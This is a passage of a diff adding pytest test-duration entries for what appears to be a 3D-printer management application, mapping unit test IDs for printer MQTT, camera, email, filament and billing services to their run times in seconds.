0.0009836340323090553, + "unit/services/test_bambu_mqtt.py::TestTrayNowP2SMultiAmsDisambiguation::test_last_loaded_tray_uses_resolved_global_id": 0.0009713489562273026, + "unit/services/test_bambu_mqtt.py::TestTrayNowP2SMultiAmsDisambiguation::test_multicolor_four_slot_mapping": 0.0009823096916079521, + "unit/services/test_bambu_mqtt.py::TestTrayNowP2SMultiAmsDisambiguation::test_multicolor_resolves_ams1_from_multi_entry_mapping": 0.0009886128827929497, + "unit/services/test_bambu_mqtt.py::TestTrayNowP2SMultiAmsDisambiguation::test_no_ams_exist_bits_passthrough": 0.0009726937860250473, + "unit/services/test_bambu_mqtt.py::TestTrayNowP2SMultiAmsDisambiguation::test_no_mapping_falls_back_to_local_slot": 0.0009749485179781914, + "unit/services/test_bambu_mqtt.py::TestTrayNowP2SMultiAmsDisambiguation::test_resolves_ams1_slot0_from_mapping": 0.0011786781251430511, + "unit/services/test_bambu_mqtt.py::TestTrayNowP2SMultiAmsDisambiguation::test_resolves_ams1_slot1_from_mapping": 0.0009738458320498466, + "unit/services/test_bambu_mqtt.py::TestTrayNowP2SMultiAmsDisambiguation::test_resolves_ams1_slot3_from_mapping": 0.0009898338466882706, + "unit/services/test_bambu_mqtt.py::TestTrayNowP2SMultiAmsDisambiguation::test_single_ams_passthrough": 0.0009714318439364433, + "unit/services/test_bambu_mqtt.py::TestTrayNowP2SMultiAmsDisambiguation::test_tray_now_255_unaffected_by_multi_ams": 0.0009776121005415916, + "unit/services/test_bambu_mqtt.py::TestTrayNowP2SMultiAmsDisambiguation::test_tray_now_above_3_unaffected": 0.0009840847924351692, + "unit/services/test_bambu_mqtt.py::TestTrayNowSingleNozzleP2S::test_tray_change_across_ams_units": 0.000978061929345131, + "unit/services/test_bambu_mqtt.py::TestTrayNowSingleNozzleP2S::test_tray_now_ams1_global_ids_4_to_7": 0.0009924285113811493, + "unit/services/test_bambu_mqtt.py::TestTrayNowSingleNozzleX1E::test_last_loaded_tray_survives_unload": 0.0010419143363833427, + "unit/services/test_bambu_mqtt.py::TestTrayNowSingleNozzleX1E::test_single_extruder_does_not_trigger_dual_nozzle": 0.0012072538956999779, + "unit/services/test_bambu_mqtt.py::TestTrayNowSingleNozzleX1E::test_tray_now_255_means_unloaded": 0.0009710695594549179, + "unit/services/test_bambu_mqtt.py::TestTrayNowSingleNozzleX1E::test_tray_now_direct_passthrough_slot_0_to_3": 0.001014753244817257, + "unit/services/test_bambu_mqtt.py::TestVtTrayNormalization::test_first_message_vt_tray_dict_becomes_list": 0.0010626111179590225, + "unit/services/test_bambu_mqtt.py::TestVtTrayNormalization::test_preserved_vt_tray_restored_before_probe": 0.0010530445724725723, + "unit/services/test_bambu_mqtt.py::TestVtTrayNormalization::test_vt_tray_dict_normalized_in_update_state": 0.0010525630787014961, + "unit/services/test_bambu_mqtt.py::TestVtTrayNormalization::test_vt_tray_list_unchanged_in_update_state": 0.0010509379208087921, + "unit/services/test_bambu_mqtt.py::TestZombieSessionDetection::test_initial_state_is_clean": 0.0015395665541291237, + "unit/services/test_bambu_mqtt.py::TestZombieSessionDetection::test_late_response_after_watchdog_clears_counter_issue_1164": 0.0013480065390467644, + "unit/services/test_bambu_mqtt.py::TestZombieSessionDetection::test_no_check_when_no_command_pending": 0.0010844627395272255, + "unit/services/test_bambu_mqtt.py::TestZombieSessionDetection::test_no_timeout_within_window": 0.0013127587735652924, + "unit/services/test_bambu_mqtt.py::TestZombieSessionDetection::test_on_connect_resets_tracking": 0.001546449027955532, + "unit/services/test_bambu_mqtt.py::TestZombieSessionDetection::test_publish_sets_pending_time": 0.001396997831761837, + "unit/services/test_bambu_mqtt.py::TestZombieSessionDetection::test_reset_slot_sets_pending_time": 0.0013415049761533737, + "unit/services/test_bambu_mqtt.py::TestZombieSessionDetection::test_response_between_timeouts_resets_counter": 0.0012068040668964386, + "unit/services/test_bambu_mqtt.py::TestZombieSessionDetection::test_response_clears_pending": 0.0010718479752540588, + "unit/services/test_bambu_mqtt.py::TestZombieSessionDetection::test_single_timeout_increments_counter": 0.0011564595624804497, + "unit/services/test_bambu_mqtt.py::TestZombieSessionDetection::test_two_timeouts_force_reconnect": 0.0017321966588497162, + "unit/services/test_camera_capture_coalescing.py::test_cancelled_leader_still_delivers_to_followers": 0.0014722980558872223, + "unit/services/test_camera_capture_coalescing.py::test_cancelling_a_follower_leaves_the_leader_alone": 0.0013315649703145027, + "unit/services/test_camera_capture_coalescing.py::test_capture_in_flight_reports_the_window": 0.0012924326583743095, + "unit/services/test_camera_capture_coalescing.py::test_coalescing_is_not_caching": 0.0012642191722989082, + "unit/services/test_camera_capture_coalescing.py::test_different_printers_do_not_coalesce": 0.0013158777728676796, + "unit/services/test_camera_capture_coalescing.py::test_failed_leader_does_not_poison_its_followers": 0.001373453065752983, + "unit/services/test_camera_capture_coalescing.py::test_five_callers_one_capture": 0.0015133470296859741, + "unit/services/test_camera_capture_coalescing.py::test_follower_timeout_does_not_sabotage_the_capture": 0.011564714834094048, + "unit/services/test_camera_capture_coalescing.py::test_registry_is_empty_after_a_capture_finishes": 0.0012582289054989815, + "unit/services/test_camera_capture_coalescing.py::test_simultaneous_callers_share_one_capture": 0.0014952030032873154, + "unit/services/test_camera_capture_coalescing.py::test_two_consecutive_failures_give_up": 0.0014642952010035515, + "unit/services/test_camera_diagnose.py::TestFirstFrameStage::test_capture_exception_maps_to_no_frame_summary": 0.002442379482090473, + "unit/services/test_camera_diagnose.py::TestFirstFrameStage::test_failure_is_not_annotated_as_coalesced": 0.0018192287534475327, + "unit/services/test_camera_diagnose.py::TestFirstFrameStage::test_full_success_path": 0.0018237074837088585, + "unit/services/test_camera_diagnose.py::TestFirstFrameStage::test_no_frame_maps_to_no_frame_summary": 0.0018067555502057076, + "unit/services/test_camera_diagnose.py::TestFirstFrameStage::test_pass_riding_on_an_inflight_capture_says_so": 0.0020621251314878464, + "unit/services/test_camera_diagnose.py::TestLiveStreamShortcut::test_runs_test_when_stale_frame_in_active_stream": 0.0015002302825450897, + "unit/services/test_camera_diagnose.py::TestLiveStreamShortcut::test_skips_test_when_fresh_frame_in_active_stream": 0.0012392736971378326, + "unit/services/test_camera_diagnose.py::TestResultMetadata::test_a1_reports_default_profile_and_chamber_protocol": 0.0014337459579110146, + "unit/services/test_camera_diagnose.py::TestResultMetadata::test_p2s_reports_p2s_profile_and_rtsp_protocol": 0.0014120256528258324, + "unit/services/test_camera_diagnose.py::TestResultMetadata::test_x1c_reports_default_profile_and_rtsp": 0.0014190487563610077, + "unit/services/test_camera_diagnose.py::TestTcpStage::test_connection_refused_maps_to_camera_port_closed": 0.001408659853041172, + "unit/services/test_camera_diagnose.py::TestTcpStage::test_oserror_maps_to_printer_unreachable": 0.001416696235537529, + "unit/services/test_camera_diagnose.py::TestTcpStage::test_timeout_maps_to_printer_unreachable": 0.0014170370995998383, + "unit/services/test_camera_fanout.py::test_first_subscriber_not_primed": 0.001373114064335823, + "unit/services/test_camera_fanout.py::test_force_shutdown_signals_subscribers": 0.05241382773965597, + "unit/services/test_camera_fanout.py::test_force_shutdown_then_subscribe_via_registry_works": 0.02167365327477455, + "unit/services/test_camera_fanout.py::test_grace_window_cancelled_on_rejoin": 0.24337876681238413, + "unit/services/test_camera_fanout.py::test_iter_subscriber_exits_on_client_disconnect": 0.041964572854340076, + "unit/services/test_camera_fanout.py::test_iter_subscriber_exits_on_upstream_gone": 0.01210033893585205, + "unit/services/test_camera_fanout.py::test_late_subscriber_primed_with_last_frame": 0.0014894725754857063, + "unit/services/test_camera_fanout.py::test_multiple_subscribers_share_single_upstream": 0.03178235795348883, + "unit/services/test_camera_fanout.py::test_pump_torn_down_after_last_subscriber_leaves": 0.2524149715900421, + "unit/services/test_camera_fanout.py::test_registry_replaces_stopped_broadcaster": 0.04204386193305254, + "unit/services/test_camera_fanout.py::test_shutdown_broadcaster_is_idempotent": 0.0013867784291505814, + "unit/services/test_camera_fanout.py::test_shutdown_broadcaster_leaves_a_chainable_predecessor": 0.0017267875373363495, + "unit/services/test_camera_fanout.py::test_single_subscriber_receives_all_frames": 0.01679765246808529, + "unit/services/test_camera_fanout.py::test_slow_subscriber_does_not_block_others": 0.05573190841823816, + "unit/services/test_camera_fanout.py::test_stop_then_restream_never_opens_two_sockets": 0.14268200751394033, + "unit/services/test_camera_fanout.py::test_stopped_broadcaster_reports_no_subscribers": 0.001368645578622818, + "unit/services/test_camera_fanout.py::test_subscribe_to_stopped_raises_so_route_can_retry": 0.001545226201415062, + "unit/services/test_camera_fanout.py::test_subscriber_with_no_frames_detaches_promptly": 1.0028568115085363, + "unit/services/test_camera_fanout.py::test_successor_pump_times_out_if_predecessor_wedges": 0.07215358689427376, + "unit/services/test_camera_fanout.py::test_successor_pump_waits_for_predecessor_socket_close": 0.051841145381331444, + "unit/services/test_camera_fanout.py::test_unsubscribe_idempotent_returns_current_count": 0.0020063407719135284, + "unit/services/test_camera_fanout.py::test_unsubscribe_returns_remaining_count_atomically": 0.0016536610201001167, + "unit/services/test_camera_fanout.py::test_wait_until_torn_down_completes_after_force_shutdown": 0.0013984832912683487, + "unit/services/test_camera_profiles.py::TestCameraProfileShape::test_extra_ffmpeg_input_args_defaults_to_empty_tuple": 0.0009669410064816475, + "unit/services/test_camera_profiles.py::TestCameraProfileShape::test_profile_is_frozen": 0.0009907884523272514, + "unit/services/test_camera_profiles.py::TestGetCameraProfile::test_default_profile_has_no_timestamp_override": 0.0009506111964583397, + "unit/services/test_camera_profiles.py::TestGetCameraProfile::test_default_profile_preserves_historical_fast_startup": 0.0009706476703286171, + "unit/services/test_camera_profiles.py::TestGetCameraProfile::test_known_rtsp_models_keep_default_unchanged": 0.0009927107021212578, + "unit/services/test_camera_profiles.py::TestGetCameraProfile::test_lookup_is_case_insensitive": 0.0009985221549868584, + "unit/services/test_camera_profiles.py::TestGetCameraProfile::test_none_model_returns_default": 0.000993712805211544, + "unit/services/test_camera_profiles.py::TestGetCameraProfile::test_p2s_has_relaxed_probe": 0.00096176378428936, + "unit/services/test_camera_profiles.py::TestGetCameraProfile::test_p2s_internal_code_resolves_to_p2s_profile": 0.0029654568061232567, + "unit/services/test_camera_profiles.py::TestGetCameraProfile::test_p2s_regenerates_timestamps_from_wallclock": 0.0009558610618114471, + "unit/services/test_camera_profiles.py::TestGetCameraProfile::test_unknown_model_returns_default": 0.0012963898479938507, + "unit/services/test_camera_rotation.py::TestApplyCameraRotation::test_180_degrees_keeps_the_dimensions_and_flips_the_corner": 0.0012008007615804672, + "unit/services/test_camera_rotation.py::TestApplyCameraRotation::test_270_degrees_turns_the_other_way": 0.001250043511390686, + "unit/services/test_camera_rotation.py::TestApplyCameraRotation::test_90_degrees_turns_clockwise": 0.0014190906658768654, + "unit/services/test_camera_rotation.py::TestApplyCameraRotation::test_a_failed_rotate_is_logged_as_a_warning": 0.001315937377512455, + "unit/services/test_camera_rotation.py::TestApplyCameraRotation::test_a_successful_rotate_does_not_log_at_info": 0.0012877322733402252, + "unit/services/test_camera_rotation.py::TestApplyCameraRotation::test_applying_180_twice_is_the_bug_that_was_fixed": 0.0013466635718941689, + "unit/services/test_camera_rotation.py::TestApplyCameraRotation::test_undecodable_bytes_return_unchanged": 0.015137641690671444, + "unit/services/test_camera_rotation.py::TestApplyCameraRotation::test_zero_rotation_returns_the_input_object": 0.005566623993217945, + "unit/services/test_camera_rotation.py::TestApplyCameraRotationToFile::test_a_file_that_cannot_be_rotated_is_left_intact": 0.0018201125785708427, + "unit/services/test_camera_rotation.py::TestApplyCameraRotationToFile::test_a_missing_file_does_not_raise": 0.001576945185661316, + "unit/services/test_camera_rotation.py::TestApplyCameraRotationToFile::test_rotates_in_place": 0.002312425523996353, + "unit/services/test_camera_rotation.py::TestApplyCameraRotationToFile::test_zero_rotation_leaves_the_file_untouched": 0.0013932902365922928, + "unit/services/test_camera_tls_proxy.py::TestCreateTlsProxy::test_proxy_accepts_connection": 10.01233892980963, + "unit/services/test_camera_tls_proxy.py::TestCreateTlsProxy::test_proxy_cleanup": 0.0022321948781609535, + "unit/services/test_camera_tls_proxy.py::TestCreateTlsProxy::test_proxy_returns_port_and_server": 0.0016117915511131287, + "unit/services/test_camera_tls_proxy.py::TestForwardersCatchRuntimeError::test_fwd_to_client_catches_runtime_error": 0.0017181290313601494, + "unit/services/test_camera_tls_proxy.py::TestForwardersCatchRuntimeError::test_fwd_to_server_catches_runtime_error": 0.0019922740757465363, + "unit/services/test_camera_tls_proxy.py::TestRewriteRtspRequestUrl::test_no_rewrite_on_empty_data": 0.000960981473326683, + "unit/services/test_camera_tls_proxy.py::TestRewriteRtspRequestUrl::test_no_rewrite_on_non_rtsp_data": 0.0009715110063552856, + "unit/services/test_camera_tls_proxy.py::TestRewriteRtspRequestUrl::test_only_first_rtsp_line_rewritten": 0.0009728241711854935, + "unit/services/test_camera_tls_proxy.py::TestRewriteRtspRequestUrl::test_preserves_authorization_header": 0.000978061929345131, + "unit/services/test_camera_tls_proxy.py::TestRewriteRtspRequestUrl::test_preserves_crlf_structure": 0.0009741764515638351, + "unit/services/test_camera_tls_proxy.py::TestRewriteRtspRequestUrl::test_rewrites_describe_request_line": 0.0009838538244366646, + "unit/services/test_camera_tls_proxy.py::TestRewriteRtspRequestUrl::test_rewrites_play_request_line": 0.0009682159870862961, + "unit/services/test_camera_tls_proxy.py::TestRewriteRtspRequestUrl::test_rewrites_setup_request_line": 0.000980147160589695, + "unit/services/test_camera_tls_proxy_uvloop_3001.py::test_create_tls_proxy_stores_nothing_on_the_server": 0.002232693135738373, + "unit/services/test_camera_tls_proxy_uvloop_3001.py::test_create_tls_proxy_works_on_a_uvloop_loop": 0.005399349145591259, + "unit/services/test_cleartext_probe_2780.py::TestTheProbe::test_a_fresh_cooloff_window_asks_again": 0.10364582296460867, + "unit/services/test_cleartext_probe_2780.py::TestTheProbe::test_a_real_version_mismatch_is_not_probed": 0.0021549994125962257, + "unit/services/test_cleartext_probe_2780.py::TestTheProbe::test_a_refused_probe_reads_as_nothing_rather_than_raising": 0.0013353805989027023, + "unit/services/test_cleartext_probe_2780.py::TestTheProbe::test_an_accept_and_stay_quiet_printer_is_a_timeout_not_this": 0.6028941730037332, + "unit/services/test_cleartext_probe_2780.py::TestTheProbe::test_it_asks_once_per_cooloff_not_once_per_attempt": 0.10424446314573288, + "unit/services/test_cleartext_probe_2780.py::TestTheProbe::test_it_puts_the_printers_own_words_in_the_log": 0.102793725207448, + "unit/services/test_cleartext_probe_2780.py::TestTheProbe::test_silence_is_reported_as_the_fault_having_passed": 0.0026615289971232414, + "unit/services/test_cleartext_probe_2780.py::TestTheProbe::test_the_dead_socket_is_closed_before_the_printer_is_asked_again": 0.0020273607224226, + "unit/services/test_cleartext_probe_2780.py::TestTheProbe::test_the_probe_does_not_outlive_its_timeout": 0.3016237625852227, + "unit/services/test_cleartext_probe_2780.py::TestTheProbe::test_the_reason_carries_it_too": 0.10276310984045267, + "unit/services/test_cleartext_probe_2780.py::test_a_cleartext_banner_is_what_produces_wrong_version_number": 0.10194636788219213, + "unit/services/test_cleartext_probe_2780.py::test_a_version_mismatch_produces_a_different_error": 0.030609581619501114, + "unit/services/test_email_service.py::TestEmailTemplateFormatting::test_email_header_padding": 0.001965363509953022, + "unit/services/test_email_service.py::TestEmailTemplateFormatting::test_email_xss_protection": 0.0019346056506037712, + "unit/services/test_email_service.py::TestEmailTemplateFormatting::test_password_reset_email_newlines_converted_to_br": 0.002324516884982586, + "unit/services/test_email_service.py::TestEmailTemplateFormatting::test_welcome_email_newlines_converted_to_br": 0.0027368878945708275, + "unit/services/test_email_service.py::TestGenerateSecurePassword::test_password_custom_length": 0.0012656738981604576, + "unit/services/test_email_service.py::TestGenerateSecurePassword::test_password_default_length": 0.0012705018743872643, + "unit/services/test_email_service.py::TestGenerateSecurePassword::test_password_has_required_char_types": 0.0016567753627896309, + "unit/services/test_email_service.py::TestRenderTemplate::test_render_template_basic": 0.0010847924277186394, + "unit/services/test_email_service.py::TestRenderTemplate::test_render_template_removes_unreplaced": 0.0010841023176908493, + "unit/services/test_email_service.py::TestSMTPSettingsPersistence::test_get_smtp_settings_returns_none_when_unconfigured": 0.17517430894076824, + "unit/services/test_email_service.py::TestSMTPSettingsPersistence::test_save_and_retrieve_smtp_settings": 0.19104594737291336, + "unit/services/test_external_camera.py::TestCameraTypeValidation::test_capture_frame_unknown_type_returns_none": 0.0013808086514472961, + "unit/services/test_external_camera.py::TestCameraTypeValidation::test_capture_frame_valid_types": 2.004356832243502, + "unit/services/test_external_camera.py::TestCaptureMjpegFrameWarmupSkip::test_no_frames_returns_none": 0.0013476144522428513, + "unit/services/test_external_camera.py::TestCaptureMjpegFrameWarmupSkip::test_non_200_status_returns_none": 0.0014083106070756912, + "unit/services/test_external_camera.py::TestCaptureMjpegFrameWarmupSkip::test_partial_frame_split_across_chunks_assembles_correctly": 0.0014373138546943665, + "unit/services/test_external_camera.py::TestCaptureMjpegFrameWarmupSkip::test_single_frame_stream_falls_back_to_first_frame": 0.0013618841767311096, + "unit/services/test_external_camera.py::TestCaptureMjpegFrameWarmupSkip::test_skips_warmup_frame_returns_second_frame": 0.002194983884692192, + "unit/services/test_external_camera.py::TestCaptureMjpegFrameWarmupSkip::test_timeout_after_first_frame_falls_back_to_first": 0.0014746356755495071, + "unit/services/test_external_camera.py::TestCaptureMjpegFrameWarmupSkip::test_two_frames_in_single_chunk_returns_second": 0.00226446520537138, + "unit/services/test_external_camera.py::TestFormatMjpegFrame::test_format_mjpeg_frame_basic": 0.0010322146117687225, + "unit/services/test_external_camera.py::TestFormatMjpegFrame::test_format_mjpeg_frame_larger_data": 0.001039368100464344, + "unit/services/test_external_camera.py::TestGetFfmpegPath::test_get_ffmpeg_path_fallback_to_common_paths": 0.0013847555965185165, + "unit/services/test_external_camera.py::TestGetFfmpegPath::test_get_ffmpeg_path_from_shutil_which": 0.0011862525716423988, + "unit/services/test_external_camera.py::TestGetFfmpegPath::test_get_ffmpeg_path_returns_none_when_not_found": 0.0013529546558856964, + "unit/services/test_external_camera.py::TestJpegFrameExtraction::test_extract_frame_with_leading_garbage": 0.0010367119684815407, + "unit/services/test_external_camera.py::TestJpegFrameExtraction::test_extract_single_frame_from_buffer": 0.0010340763255953789, + "unit/services/test_external_camera.py::TestJpegFrameExtraction::test_incomplete_frame_detection": 0.0010261349380016327, + "unit/services/test_external_camera.py::TestJpegFrameExtraction::test_multiple_frames_in_buffer": 0.0010366328060626984, + "unit/services/test_external_camera.py::TestRtspUrlHandling::test_ffmpeg_handles_both_rtsp_and_rtsps": 0.0008400138467550278, + "unit/services/test_external_camera.py::TestRtspUrlHandling::test_rtsps_url_detection": 0.0008737985044717789, + "unit/services/test_external_camera.py::TestSnapshotTranscode::test_capture_snapshot_jpeg_passthrough_unchanged": 0.0013493197038769722, + "unit/services/test_external_camera.py::TestSnapshotTranscode::test_capture_snapshot_non_image_falls_back_to_raw": 0.0017749480903148651, + "unit/services/test_external_camera.py::TestSnapshotTranscode::test_capture_snapshot_transcodes_png_response": 0.0024355435743927956, + "unit/services/test_external_camera.py::TestSnapshotTranscode::test_transcode_png_to_jpeg": 0.019355918280780315, + "unit/services/test_external_camera.py::TestSnapshotTranscode::test_transcode_returns_none_for_non_image": 0.0014477437362074852, + "unit/services/test_external_camera.py::TestSnapshotTranscode::test_transcode_webp_to_jpeg": 0.0021652299910783768, + "unit/services/test_external_camera.py::TestSnapshotUrlOverride::test_empty_string_snapshot_url_treated_as_unset": 0.0020737573504447937, + "unit/services/test_external_camera.py::TestSnapshotUrlOverride::test_no_snapshot_override_routes_to_camera_type_handler": 0.0015311790630221367, + "unit/services/test_external_camera.py::TestSnapshotUrlOverride::test_snapshot_override_honours_ssrf_guard": 0.0013083815574645996, + "unit/services/test_external_camera.py::TestSnapshotUrlOverride::test_snapshot_override_routes_to_snapshot_path": 0.0019694510847330093, + "unit/services/test_external_camera.py::TestSnapshotUrlOverride::test_snapshot_override_works_for_rtsp_and_usb_camera_types": 0.0016826549544930458, + "unit/services/test_external_camera.py::TestUsbCameraHandling::test_capture_frame_usb_invalid_device_path": 0.00128912553191185, + "unit/services/test_external_camera.py::TestUsbCameraHandling::test_capture_frame_usb_type_accepted": 0.0012902282178401947, + "unit/services/test_external_camera.py::TestUsbCameraHandling::test_list_usb_cameras_dict_structure": 0.0009040338918566704, + "unit/services/test_external_camera.py::TestUsbCameraHandling::test_list_usb_cameras_returns_list": 0.001004483550786972, + "unit/services/test_external_camera_capture_coalescing.py::test_a_raising_leader_does_not_take_its_followers_down_with_it": 0.0015810737386345863, + "unit/services/test_external_camera_capture_coalescing.py::test_an_unexpected_error_is_reported_as_a_failed_capture": 0.0018946509808301926, + "unit/services/test_external_camera_capture_coalescing.py::test_cancelled_leader_still_delivers_to_followers": 0.0013776933774352074, + "unit/services/test_external_camera_capture_coalescing.py::test_cancelling_a_follower_leaves_the_leader_alone": 0.0013278778642416, + "unit/services/test_external_camera_capture_coalescing.py::test_capture_in_flight_reports_the_window": 0.0013001272454857826, + "unit/services/test_external_camera_capture_coalescing.py::test_coalescing_is_not_caching": 0.0012979628518223763, + "unit/services/test_external_camera_capture_coalescing.py::test_connection_reports_coalesced_on_the_failure_path_too": 0.0013997647911310196, + "unit/services/test_external_camera_capture_coalescing.py::test_connection_reports_its_own_capture_as_not_coalesced": 0.0013790959492325783, + "unit/services/test_external_camera_capture_coalescing.py::test_connection_reports_when_it_shared_someone_elses_capture": 0.0014436142519116402, + "unit/services/test_external_camera_capture_coalescing.py::test_different_cameras_do_not_coalesce": 0.0013087829574942589, + "unit/services/test_external_camera_capture_coalescing.py::test_different_snapshot_url_does_not_coalesce": 0.001323881559073925, + "unit/services/test_external_camera_capture_coalescing.py::test_failed_leader_does_not_poison_its_followers": 0.0013238489627838135, + "unit/services/test_external_camera_capture_coalescing.py::test_five_callers_one_capture": 0.0014221761375665665, + "unit/services/test_external_camera_capture_coalescing.py::test_follower_timeout_does_not_sabotage_the_capture": 0.01149322371929884, + "unit/services/test_external_camera_capture_coalescing.py::test_registry_is_empty_after_a_capture_finishes": 0.0012620436027646065, + "unit/services/test_external_camera_capture_coalescing.py::test_simultaneous_callers_share_one_capture": 0.0013705790042877197, + "unit/services/test_external_camera_capture_coalescing.py::test_the_failed_capture_log_line_redacts_the_password": 0.0014895210042595863, + "unit/services/test_external_camera_capture_coalescing.py::test_the_gave_up_waiting_log_line_redacts_the_password": 0.0015303483232855797, + "unit/services/test_external_camera_capture_coalescing.py::test_the_reuse_log_line_redacts_the_password": 0.0015566879883408546, + "unit/services/test_external_camera_capture_coalescing.py::test_two_consecutive_failures_give_up": 0.0013471255078911781, + "unit/services/test_external_spool_change.py::TestExternalSpoolChangeDetection::test_identical_push_does_not_refire": 0.0010620104148983955, + "unit/services/test_external_spool_change.py::TestExternalSpoolChangeDetection::test_remain_only_change_does_not_refire": 0.0010577226057648659, + "unit/services/test_external_spool_change.py::TestExternalSpoolChangeDetection::test_reset_to_empty_fires_callback": 0.0010434482246637344, + "unit/services/test_external_spool_change.py::TestExternalSpoolChangeDetection::test_type_swap_fires_callback": 0.0011184774339199066, + "unit/services/test_filament_deficit.py::TestBuildSlotMaterials::test_external_and_ht_slots_get_the_frontend_tray_numbering": 0.19301491789519787, + "unit/services/test_filament_deficit.py::TestBuildSlotMaterials::test_internal_mode_emits_shared_key_for_same_preset_and_colour": 0.1984138060361147, + "unit/services/test_filament_deficit.py::TestBuildSlotMaterials::test_internal_mode_omits_slots_with_no_usable_weight": 0.19293865468353033, + "unit/services/test_filament_deficit.py::TestBuildSlotMaterials::test_internal_mode_scopes_extruder_on_dual_nozzle": 0.18868642579764128, + "unit/services/test_filament_deficit.py::TestBuildSlotMaterials::test_internal_mode_separates_colours_and_presetless_spools": 0.196060704998672, + "unit/services/test_filament_deficit.py::TestBuildSlotMaterials::test_spoolman_mode_pools_on_filament_id_and_colour": 0.1894958410412073, + "unit/services/test_filament_deficit.py::TestBuildSlotMaterials::test_spoolman_unreachable_returns_no_slots": 0.18778750021010637, + "unit/services/test_filament_deficit.py::TestFilamentDeficit::test_library_file_with_absolute_path_is_checked": 0.1991928182542324, + "unit/services/test_filament_deficit.py::TestFilamentDeficit::test_library_file_with_relative_path_is_checked": 0.20488236844539642, + "unit/services/test_filament_deficit.py::TestFilamentDeficit::test_missing_source_is_logged_not_just_skipped": 0.1866493271663785, + "unit/services/test_filament_deficit.py::TestFilamentDeficit::test_multi_slot_only_shorted_slot_returned": 0.200091902166605, + "unit/services/test_filament_deficit.py::TestFilamentDeficit::test_returns_deficit_when_spool_too_light": 0.19254864286631346, + "unit/services/test_filament_deficit.py::TestFilamentDeficit::test_returns_empty_when_3mf_missing": 0.1921840813010931, + "unit/services/test_filament_deficit.py::TestFilamentDeficit::test_returns_empty_when_ams_mapping_missing": 0.18944864347577095, + "unit/services/test_filament_deficit.py::TestFilamentDeficit::test_returns_empty_when_no_assignment": 0.191399609670043, + "unit/services/test_filament_deficit.py::TestFilamentDeficit::test_returns_empty_when_no_printer_assigned": 0.18457153253257275, + "unit/services/test_filament_deficit.py::TestFilamentDeficit::test_returns_empty_when_spool_has_enough": 0.9463754501193762, + "unit/services/test_filament_deficit.py::TestFilamentDeficit::test_returns_empty_when_warnings_disabled": 0.19195448141545057, + "unit/services/test_filament_deficit.py::TestFilamentDeficitBackupAware::test_backup_off_falls_back_to_per_slot_accounting": 0.19669928215444088, + "unit/services/test_filament_deficit.py::TestFilamentDeficitBackupAware::test_backup_on_color_alpha_normalized": 0.22065188735723495, + "unit/services/test_filament_deficit.py::TestFilamentDeficitBackupAware::test_backup_on_different_materials_no_pool": 0.20776392333209515, + "unit/services/test_filament_deficit.py::TestFilamentDeficitBackupAware::test_backup_on_dual_extruder_scopes_pool_per_side": 0.20553472358733416, + "unit/services/test_filament_deficit.py::TestFilamentDeficitBackupAware::test_backup_on_no_preset_never_pairs": 0.20529117621481419, + "unit/services/test_filament_deficit.py::TestFilamentDeficitBackupAware::test_backup_on_pool_covers_short_slot": 0.20692740380764008, + "unit/services/test_filament_deficit.py::TestFilamentDeficitBackupAware::test_backup_on_pool_insufficient_emits_deficit": 0.19703596271574497, + "unit/services/test_filament_deficit.py::TestFilamentDeficitBackupAware::test_backup_on_same_preset_different_colors_does_not_pair": 0.1973418267443776, + "unit/services/test_filament_deficit.py::TestSlotSpoolIdentity::test_blank_fields_become_null_so_the_client_can_fall_back": 0.18819427210837603, + "unit/services/test_filament_deficit.py::TestSlotSpoolIdentity::test_internal_mode_carries_what_the_printer_cannot_say": 0.19267645105719566, + "unit/services/test_filament_deficit.py::TestSlotSpoolIdentity::test_malformed_spoolman_payload_cannot_break_a_dispatch[extra-not-a-dict]": 0.18887822329998016, + "unit/services/test_filament_deficit.py::TestSlotSpoolIdentity::test_malformed_spoolman_payload_cannot_break_a_dispatch[filament-not-a-dict]": 0.18910096120089293, + "unit/services/test_filament_deficit.py::TestSlotSpoolIdentity::test_malformed_spoolman_payload_cannot_break_a_dispatch[hex-not-a-str]": 0.19495856203138828, + "unit/services/test_filament_deficit.py::TestSlotSpoolIdentity::test_malformed_spoolman_payload_cannot_break_a_dispatch[tag-not-a-str]": 0.18829257786273956, + "unit/services/test_filament_deficit.py::TestSlotSpoolIdentity::test_malformed_spoolman_payload_cannot_break_a_dispatch[vendor-not-a-dict]": 0.18327104300260544, + "unit/services/test_filament_deficit.py::TestSlotSpoolIdentity::test_spoolman_mode_reaches_the_same_shape": 0.1844245856627822, + "unit/services/test_filament_deficit.py::TestSlotSpoolIdentity::test_spoolman_synthesised_colour_name_is_dropped": 0.18524283077567816, + "unit/services/test_filament_deficit.py::TestSlotSpoolIdentity::test_unreadable_spoolman_spool_keeps_the_slot_but_drops_the_name": 0.18357519526034594, + "unit/services/test_filament_requirements.py::TestExtractFilamentRequirements::test_filters_to_requested_plate": 0.0013458728790283203, + "unit/services/test_filament_requirements.py::TestExtractFilamentRequirements::test_no_plate_id_collects_from_all_plates": 0.0011599045246839523, + "unit/services/test_filament_requirements.py::TestExtractFilamentRequirements::test_no_plate_id_deduplicates_shared_slots": 0.0011514779180288315, + "unit/services/test_filament_requirements.py::TestExtractFilamentRequirements::test_no_plate_id_single_plate_modern_format": 0.0011033089831471443, + "unit/services/test_filament_requirements.py::TestExtractFilamentRequirements::test_no_plate_id_walks_flat_filaments": 0.0011697625741362572, + "unit/services/test_filament_requirements.py::TestExtractFilamentRequirements::test_results_are_sorted_by_slot_id": 0.0011261412873864174, + "unit/services/test_filament_requirements.py::TestExtractFilamentRequirements::test_returns_empty_list_for_missing_file": 0.0009308438748121262, + "unit/services/test_filament_requirements.py::TestExtractFilamentRequirements::test_returns_empty_list_for_unparseable_file": 0.001070796512067318, + "unit/services/test_filament_requirements.py::TestExtractFilamentRequirements::test_returns_empty_list_when_slice_info_missing": 0.0010210638865828514, + "unit/services/test_filament_requirements.py::TestExtractFilamentRequirements::test_returns_per_slot_dicts_for_plate": 0.0017773108556866646, + "unit/services/test_filament_requirements.py::TestExtractFilamentRequirements::test_skips_zero_use_filaments": 0.0013136528432369232, + "unit/services/test_finance_service_billing.py::TestFinanceBilling::test_apply_print_charge_consumes_matching_budget_reservation": 0.2071073716506362, + "unit/services/test_finance_service_billing.py::TestFinanceBilling::test_apply_print_charge_rejects_ineligible_archive": 0.20107872039079666, + "unit/services/test_finance_service_billing.py::TestFinanceBilling::test_apply_print_charge_skips_when_billing_disabled": 0.19134799391031265, + "unit/services/test_finance_service_billing.py::TestFinanceBilling::test_apply_print_charge_uses_print_run_id_and_cost_center_override": 0.20353496447205544, + 